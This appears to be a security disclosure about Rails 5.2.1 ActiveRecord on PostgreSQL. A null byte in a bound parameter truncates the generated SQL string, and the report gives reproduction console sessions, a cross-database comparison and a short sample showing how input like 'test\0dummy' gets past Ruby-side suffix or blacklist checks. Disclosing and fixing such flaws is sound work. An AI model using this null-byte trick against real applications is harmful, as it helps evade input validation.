Validation bypass for queries generated for PostgreSQL

How it was found

When using DB for PostgreSQL, I discovered that if a parameter of a query contains null character, there is a pattern in which subsequent strings are lost.

how to reproduce

Prepare the environment

$ rails new postgresql_rails -TB --database=postgresql
$ cd postgresql_rails

$ bundle exec ruby -v
> ruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-darwin16]
$ bundle exec rails --version
> Rails 5.2.1

$ bundle install

Prepare models and schemas.

$ bundle exec rails generate model Article title:string text:text
$ bundle exec rails db:create
$ bundle exec rails db:migrate

Save test data.

$ bundle exec rails console
Loading development environment (Rails 5.2.1)
irb(main):001:0> Article.create(title: 'test title', text: 'dummy')
   (0.1ms)  BEGIN
  Article Create (3.7ms)  INSERT INTO "articles" ("title", "text", "created_at", "updated_at") VALUES ($1, $2, $3, $4) RETURNING "id"  [["title", "test title"], ["text", "dummy"], ["created_at", "2018-08-13 13:31:37.689587"], ["updated_at", "2018-08-13 13:31:37.689587"]]
   (1.3ms)  COMMIT
=> #<Article id: 1, title: "test title", text: "dummy", created_at: "2018-08-13 13:31:37", updated_at: "2018-08-13 13:31:37">

Confirm query

 $ bundle exec rails console
Loading development environment (Rails 5.2.1)

# Case A
irb(main):001:0> Article.where(title: "test title")
  Article Load (0.3ms)  SELECT  "articles".* FROM "articles" WHERE "articles"."title" = $1 LIMIT $2  [["title", "test title"], ["LIMIT", 11]]
=> #<ActiveRecord::Relation [#<Article id: 1, title: "test title", text: "dummy", created_at: "2018-08-13 13:31:37", updated_at: "2018-08-13 13:31:37">]>

irb(main):002:0> Article.where(title: "test title\0suffix")
  Article Load (0.3ms)  SELECT  "articles".* FROM "articles" WHERE "articles"."title" = $1 LIMIT $2  [["title", "test title\u0000suffix"], ["LIMIT", 11]]
Traceback (most recent call last):
ArgumentError (string contains null byte)


# Case B
irb(main):003:0> Article.find_by_title("test title")
  Article Load (0.4ms)  SELECT  "articles".* FROM "articles" WHERE "articles"."title" = $1 LIMIT $2  [["title", "test title"], ["LIMIT", 1]]
=> #<Article id: 1, title: "test title", text: "dummy", created_at: "2018-08-13 13:31:37", updated_at: "2018-08-13 13:31:37">

irb(main):004:0> Article.find_by_title("test title\0suffix")
  Article Load (0.5ms)  SELECT  "articles".* FROM "articles" WHERE "articles"."title" = $1 LIMIT $2  [["title", "test title\u0000suffix"], ["LIMIT", 1]]
Traceback (most recent call last):
        1: from (irb):4
ArgumentError (string contains null byte)


# Case C
irb(main):005:0> Article.where("title = ?", "test title")
  Article Load (0.4ms)  SELECT  "articles".* FROM "articles" WHERE (title = 'test title') LIMIT $1  [["LIMIT", 11]]
=> #<ActiveRecord::Relation [#<Article id: 1, title: "test title", text: "dummy", created_at: "2018-08-13 13:31:37", updated_at: "2018-08-13 13:31:37">]>

irb(main):006:0> Article.where("title = ?", "test title\0suffix")
  Article Load (0.4ms)  SELECT  "articles".* FROM "articles" WHERE (title = 'test title') LIMIT $1  [["LIMIT", 11]]
=> #<ActiveRecord::Relation [#<Article id: 1, title: "test title", text: "dummy", created_at: "2018-08-13 13:31:37", updated_at: "2018-08-13 13:31:37">]>


# Case D
irb(main):007:0> Article.where("title = :title", {title: "test title"})
  Article Load (0.4ms)  SELECT  "articles".* FROM "articles" WHERE (title = 'test title') LIMIT $1  [["LIMIT", 11]]
=> #<ActiveRecord::Relation [#<Article id: 1, title: "test title", text: "dummy", created_at: "2018-08-13 13:31:37", updated_at: "2018-08-13 13:31:37">]>

irb(main):008:0> Article.where("title = :title", {title: "test title\0suffix"})
  Article Load (0.4ms)  SELECT  "articles".* FROM "articles" WHERE (title = 'test title') LIMIT $1  [["LIMIT", 11]]
=> #<ActiveRecord::Relation [#<Article id: 1, title: "test title", text: "dummy", created_at: "2018-08-13 13:31:37", updated_at: "2018-08-13 13:31:37">]>

In Case A and Case B, an error has occurred when null characters are included. On the other hand, in Case C and Case D, SQL is generated in such a way that the character string after the null character (\0suffix) is ignored.

sanitize_sql_array

For comparison, list the results of sanitize_sql_array for each DB.

PostgreSQL

$ bundle exec rails console
Loading development environment (Rails 5.2.1)
irb(main):001:0> ActiveRecord::Base.send(:sanitize_sql_array,['SELECT * from articles WHERE title = ?', "abc\0suffix"])
=> "SELECT * from articles WHERE title = 'abc'"

MySQL

$ bundle exec rails console
Loading development environment (Rails 5.2.1)
irb(main):001:0> ActiveRecord::Base.send(:sanitize_sql_array,['SELECT * from articles WHERE title = ?', "abc\0suffix"])
   (0.9ms)  SET NAMES utf8,  @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'),  @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
=> "SELECT * from articles WHERE title = 'abc\\0suffix'"

SQLite3

$ bundle exec rails console
Running via Spring preloader in process 55281
Loading development environment (Rails 5.2.1)
irb(main):001:0> ActiveRecord::Base.send(:sanitize_sql_array,['SELECT * from articles WHERE title = ?', "abc\0suffix"])
=> "SELECT * from articles WHERE title = 'abc\u0000suffix'"

Impact

In this problem, SQL injection can not be done, but bypass is possible when ruby side is performing blacklist and suffix validation (extension checking etc.).

sample code

title = "test\0dummy"
title != 'test' ?  Article.where("title = ?", title) : nil
> Article Load (1.9ms)  SELECT  "articles".* FROM "articles" WHERE (title = 'test') LIMIT $1  [["LIMIT", 11]]